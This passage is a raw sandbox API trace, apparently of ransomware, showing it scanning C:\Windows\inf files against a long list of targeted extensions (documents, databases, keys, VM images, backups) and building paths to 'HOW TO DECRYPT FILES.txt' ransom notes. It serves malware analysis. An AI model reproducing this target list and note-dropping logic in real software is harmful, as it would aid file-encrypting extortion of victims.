(pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.cpp") returned 0 [0129.654] lstrlenA (lpString="*.cpp") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.rar") returned 0 [0129.654] lstrlenA (lpString="*.rar") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.zip") returned 0 [0129.654] lstrlenA (lpString="*.zip") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.html") returned 0 [0129.654] lstrlenA (lpString="*.html") returned 6 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.htm") returned 0 [0129.654] lstrlenA (lpString="*.htm") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.xlsx") returned 0 [0129.654] lstrlenA (lpString="*.xlsx") returned 6 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.xls") returned 0 [0129.654] lstrlenA (lpString="*.xls") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mp4") returned 0 [0129.654] lstrlenA (lpString="*.mp4") returned 5 [0129.654] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.ppt") returned 0 [0129.654] lstrlenA (lpString="*.ppt") returned 5 [0129.655] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.pptx") returned 0 [0129.655] lstrlenA (lpString="*.pptx") returned 6 [0129.655] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.doc") returned 0 [0129.655] lstrlenA (lpString="*.doc") returned 5 [0129.655] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.dot") returned 0 [0129.655] lstrlenA (lpString="*.dot") returned 5 [0129.655] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.docx") returned 0 [0129.655] lstrlenA (lpString="*.docx") returned 6 [0129.655] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.7z") returned 0 [0129.655] lstrlenA (lpString="*.7z") returned 4 [0129.655] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.tar") returned 0 [0129.655] lstrlenA (lpString="*.tar") returned 5 [0129.655] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.bz2") returned 0 [0129.656] lstrlenA (lpString="*.bz2") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.gz") returned 0 [0129.656] lstrlenA (lpString="*.gz") returned 4 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mkv") returned 0 [0129.656] lstrlenA (lpString="*.mkv") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.eml") returned 0 [0129.656] lstrlenA (lpString="*.eml") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.msg") returned 0 [0129.656] lstrlenA (lpString="*.msg") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.edb") returned 0 [0129.656] lstrlenA (lpString="*.edb") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.accdb") returned 0 [0129.656] lstrlenA (lpString="*.accdb") returned 7 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.odb") returned 0 [0129.656] lstrlenA (lpString="*.odb") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.java") returned 0 [0129.656] lstrlenA (lpString="*.java") returned 6 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.asm") returned 0 [0129.656] lstrlenA (lpString="*.asm") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.pfx") returned 0 [0129.656] lstrlenA (lpString="*.pfx") returned 5 [0129.656] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.pem") returned 0 [0129.656] lstrlenA (lpString="*.pem") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.p12") returned 0 [0129.657] lstrlenA (lpString="*.p12") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.gpg") returned 0 [0129.657] lstrlenA (lpString="*.gpg") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.vsd") returned 0 [0129.657] lstrlenA (lpString="*.vsd") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.odg") returned 0 [0129.657] lstrlenA (lpString="*.odg") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.raw") returned 0 [0129.657] lstrlenA (lpString="*.raw") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.nef") returned 0 [0129.657] lstrlenA (lpString="*.nef") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.svg") returned 0 [0129.657] lstrlenA (lpString="*.svg") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.psd") returned 0 [0129.657] lstrlenA (lpString="*.psd") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.vmx") returned 0 [0129.657] lstrlenA (lpString="*.vmx") returned 5 [0129.657] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.vmdk") returned 0 [0129.657] lstrlenA (lpString="*.vmdk") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.vdi") returned 0 [0129.658] lstrlenA (lpString="*.vdi") returned 5 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.lay6") returned 0 [0129.658] lstrlenA (lpString="*.lay6") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mpeg") returned 0 [0129.658] lstrlenA (lpString="*.mpeg") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.djvu") returned 0 [0129.658] lstrlenA (lpString="*.djvu") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.tiff") returned 0 [0129.658] lstrlenA (lpString="*.tiff") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.backup") returned 0 [0129.658] lstrlenA (lpString="*.backup") returned 8 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.pdf") returned 0 [0129.658] lstrlenA (lpString="*.pdf") returned 5 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.cert") returned 0 [0129.658] lstrlenA (lpString="*.cert") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.docm") returned 0 [0129.658] lstrlenA (lpString="*.docm") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.xlsm") returned 0 [0129.658] lstrlenA (lpString="*.xlsm") returned 6 [0129.658] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.dwg") returned 0 [0129.658] lstrlenA (lpString="*.dwg") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.nd") returned 0 [0129.659] lstrlenA (lpString="*.nd") returned 4 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.tlg") returned 0 [0129.659] lstrlenA (lpString="*.tlg") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.lgb") returned 0 [0129.659] lstrlenA (lpString="*.lgb") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mov") returned 0 [0129.659] lstrlenA (lpString="*.mov") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.xdw") returned 0 [0129.659] lstrlenA (lpString="*.xdw") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.ods") returned 0 [0129.659] lstrlenA (lpString="*.ods") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.wav") returned 0 [0129.659] lstrlenA (lpString="*.wav") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.mp3") returned 0 [0129.659] lstrlenA (lpString="*.mp3") returned 5 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.aiff") returned 0 [0129.659] lstrlenA (lpString="*.aiff") returned 6 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.flac") returned 0 [0129.659] lstrlenA (lpString="*.flac") returned 6 [0129.659] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.m4a") returned 0 [0129.660] lstrlenA (lpString="*.m4a") returned 5 [0129.660] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.inf", pszSpec="*.csv") returned 0 [0129.660] lstrlenA (lpString="*.csv") returned 5 [0129.660] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910765fe, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x910765fe, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x910765fe, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x7134, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc0.PNF", cAlternateFileName="")) returned 1 [0129.660] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.660] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc0.PNF") returned -1 [0129.660] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc0.PNF") returned -1 [0129.660] lstrcmpiA (lpString1="", lpString2="ph3xibc0.PNF") returned -1 [0129.660] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc0.inf") returned="ph3xibc0.inf" [0129.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.660] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.660] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.660] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.660] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc0.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc0.PNF") returned="C:\\Windows\\inf\\ph3xibc0.PNF" [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.ems") returned 0 [0129.661] lstrlenA (lpString="*.ems") returned 5 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.db") returned 0 [0129.661] lstrlenA (lpString="*.db") returned 4 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.dbf") returned 0 [0129.661] lstrlenA (lpString="*.dbf") returned 5 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.myox") returned 0 [0129.661] lstrlenA (lpString="*.myox") returned 6 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.myo") returned 0 [0129.661] lstrlenA (lpString="*.myo") returned 5 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qbw") returned 0 [0129.661] lstrlenA (lpString="*.qbw") returned 5 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qbb") returned 0 [0129.661] lstrlenA (lpString="*.qbb") returned 5 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qbm") returned 0 [0129.661] lstrlenA (lpString="*.qbm") returned 5 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qbo") returned 0 [0129.661] lstrlenA (lpString="*.qbo") returned 5 [0129.661] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qbx") returned 0 [0129.661] lstrlenA (lpString="*.qbx") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qba") returned 0 [0129.662] lstrlenA (lpString="*.qba") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qby") returned 0 [0129.662] lstrlenA (lpString="*.qby") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qbj") returned 0 [0129.662] lstrlenA (lpString="*.qbj") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.ofx") returned 0 [0129.662] lstrlenA (lpString="*.ofx") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.qif") returned 0 [0129.662] lstrlenA (lpString="*.qif") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mye") returned 0 [0129.662] lstrlenA (lpString="*.mye") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mbox") returned 0 [0129.662] lstrlenA (lpString="*.mbox") returned 6 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.eml") returned 0 [0129.662] lstrlenA (lpString="*.eml") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.pst") returned 0 [0129.662] lstrlenA (lpString="*.pst") returned 5 [0129.662] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.ost") returned 0 [0129.663] lstrlenA (lpString="*.ost") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.idx") returned 0 [0129.663] lstrlenA (lpString="*.idx") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.dbx") returned 0 [0129.663] lstrlenA (lpString="*.dbx") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.sql") returned 0 [0129.663] lstrlenA (lpString="*.sql") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mdb") returned 0 [0129.663] lstrlenA (lpString="*.mdb") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.fdb") returned 0 [0129.663] lstrlenA (lpString="*.fdb") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.wab") returned 0 [0129.663] lstrlenA (lpString="*.wab") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.dat") returned 0 [0129.663] lstrlenA (lpString="*.dat") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.txt") returned 0 [0129.663] lstrlenA (lpString="*.txt") returned 5 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.jpeg") returned 0 [0129.663] lstrlenA (lpString="*.jpeg") returned 6 [0129.663] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.jpg") returned 0 [0129.664] lstrlenA (lpString="*.jpg") returned 5 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.png") returned 0 [0129.664] lstrlenA (lpString="*.png") returned 5 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.php") returned 0 [0129.664] lstrlenA (lpString="*.php") returned 5 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.cs") returned 0 [0129.664] lstrlenA (lpString="*.cs") returned 4 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.cpp") returned 0 [0129.664] lstrlenA (lpString="*.cpp") returned 5 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.rar") returned 0 [0129.664] lstrlenA (lpString="*.rar") returned 5 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.zip") returned 0 [0129.664] lstrlenA (lpString="*.zip") returned 5 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.html") returned 0 [0129.664] lstrlenA (lpString="*.html") returned 6 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.htm") returned 0 [0129.664] lstrlenA (lpString="*.htm") returned 5 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.xlsx") returned 0 [0129.664] lstrlenA (lpString="*.xlsx") returned 6 [0129.664] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.xls") returned 0 [0129.665] lstrlenA (lpString="*.xls") returned 5 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mp4") returned 0 [0129.665] lstrlenA (lpString="*.mp4") returned 5 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.ppt") returned 0 [0129.665] lstrlenA (lpString="*.ppt") returned 5 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.pptx") returned 0 [0129.665] lstrlenA (lpString="*.pptx") returned 6 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.doc") returned 0 [0129.665] lstrlenA (lpString="*.doc") returned 5 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.dot") returned 0 [0129.665] lstrlenA (lpString="*.dot") returned 5 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.docx") returned 0 [0129.665] lstrlenA (lpString="*.docx") returned 6 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.7z") returned 0 [0129.665] lstrlenA (lpString="*.7z") returned 4 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.tar") returned 0 [0129.665] lstrlenA (lpString="*.tar") returned 5 [0129.665] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.bz2") returned 0 [0129.665] lstrlenA (lpString="*.bz2") returned 5 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.gz") returned 0 [0129.666] lstrlenA (lpString="*.gz") returned 4 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mkv") returned 0 [0129.666] lstrlenA (lpString="*.mkv") returned 5 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.eml") returned 0 [0129.666] lstrlenA (lpString="*.eml") returned 5 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.msg") returned 0 [0129.666] lstrlenA (lpString="*.msg") returned 5 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.edb") returned 0 [0129.666] lstrlenA (lpString="*.edb") returned 5 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.accdb") returned 0 [0129.666] lstrlenA (lpString="*.accdb") returned 7 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.odb") returned 0 [0129.666] lstrlenA (lpString="*.odb") returned 5 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.java") returned 0 [0129.666] lstrlenA (lpString="*.java") returned 6 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.asm") returned 0 [0129.666] lstrlenA (lpString="*.asm") returned 5 [0129.666] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.pfx") returned 0 [0129.666] lstrlenA (lpString="*.pfx") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.pem") returned 0 [0129.667] lstrlenA (lpString="*.pem") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.p12") returned 0 [0129.667] lstrlenA (lpString="*.p12") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.gpg") returned 0 [0129.667] lstrlenA (lpString="*.gpg") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.vsd") returned 0 [0129.667] lstrlenA (lpString="*.vsd") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.odg") returned 0 [0129.667] lstrlenA (lpString="*.odg") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.raw") returned 0 [0129.667] lstrlenA (lpString="*.raw") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.nef") returned 0 [0129.667] lstrlenA (lpString="*.nef") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.svg") returned 0 [0129.667] lstrlenA (lpString="*.svg") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.psd") returned 0 [0129.667] lstrlenA (lpString="*.psd") returned 5 [0129.667] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.vmx") returned 0 [0129.667] lstrlenA (lpString="*.vmx") returned 5 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.vmdk") returned 0 [0129.668] lstrlenA (lpString="*.vmdk") returned 6 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.vdi") returned 0 [0129.668] lstrlenA (lpString="*.vdi") returned 5 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.lay6") returned 0 [0129.668] lstrlenA (lpString="*.lay6") returned 6 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mpeg") returned 0 [0129.668] lstrlenA (lpString="*.mpeg") returned 6 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.djvu") returned 0 [0129.668] lstrlenA (lpString="*.djvu") returned 6 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.tiff") returned 0 [0129.668] lstrlenA (lpString="*.tiff") returned 6 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.backup") returned 0 [0129.668] lstrlenA (lpString="*.backup") returned 8 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.pdf") returned 0 [0129.668] lstrlenA (lpString="*.pdf") returned 5 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.cert") returned 0 [0129.668] lstrlenA (lpString="*.cert") returned 6 [0129.668] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.docm") returned 0 [0129.669] lstrlenA (lpString="*.docm") returned 6 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.xlsm") returned 0 [0129.669] lstrlenA (lpString="*.xlsm") returned 6 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.dwg") returned 0 [0129.669] lstrlenA (lpString="*.dwg") returned 5 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.nd") returned 0 [0129.669] lstrlenA (lpString="*.nd") returned 4 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.tlg") returned 0 [0129.669] lstrlenA (lpString="*.tlg") returned 5 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.lgb") returned 0 [0129.669] lstrlenA (lpString="*.lgb") returned 5 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mov") returned 0 [0129.669] lstrlenA (lpString="*.mov") returned 5 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.xdw") returned 0 [0129.669] lstrlenA (lpString="*.xdw") returned 5 [0129.669] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.ods") returned 0 [0129.669] lstrlenA (lpString="*.ods") returned 5 [0129.670] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.wav") returned 0 [0129.670] lstrlenA (lpString="*.wav") returned 5 [0129.670] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.mp3") returned 0 [0129.670] lstrlenA (lpString="*.mp3") returned 5 [0129.670] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.aiff") returned 0 [0129.670] lstrlenA (lpString="*.aiff") returned 6 [0129.670] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.flac") returned 0 [0129.670] lstrlenA (lpString="*.flac") returned 6 [0129.670] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.m4a") returned 0 [0129.670] lstrlenA (lpString="*.m4a") returned 5 [0129.670] PathMatchSpecA (pszFile="C:\\Windows\\inf\\ph3xibc0.PNF", pszSpec="*.csv") returned 0 [0129.670] lstrlenA (lpString="*.csv") returned 5 [0129.670] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e1316e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65e1316e, 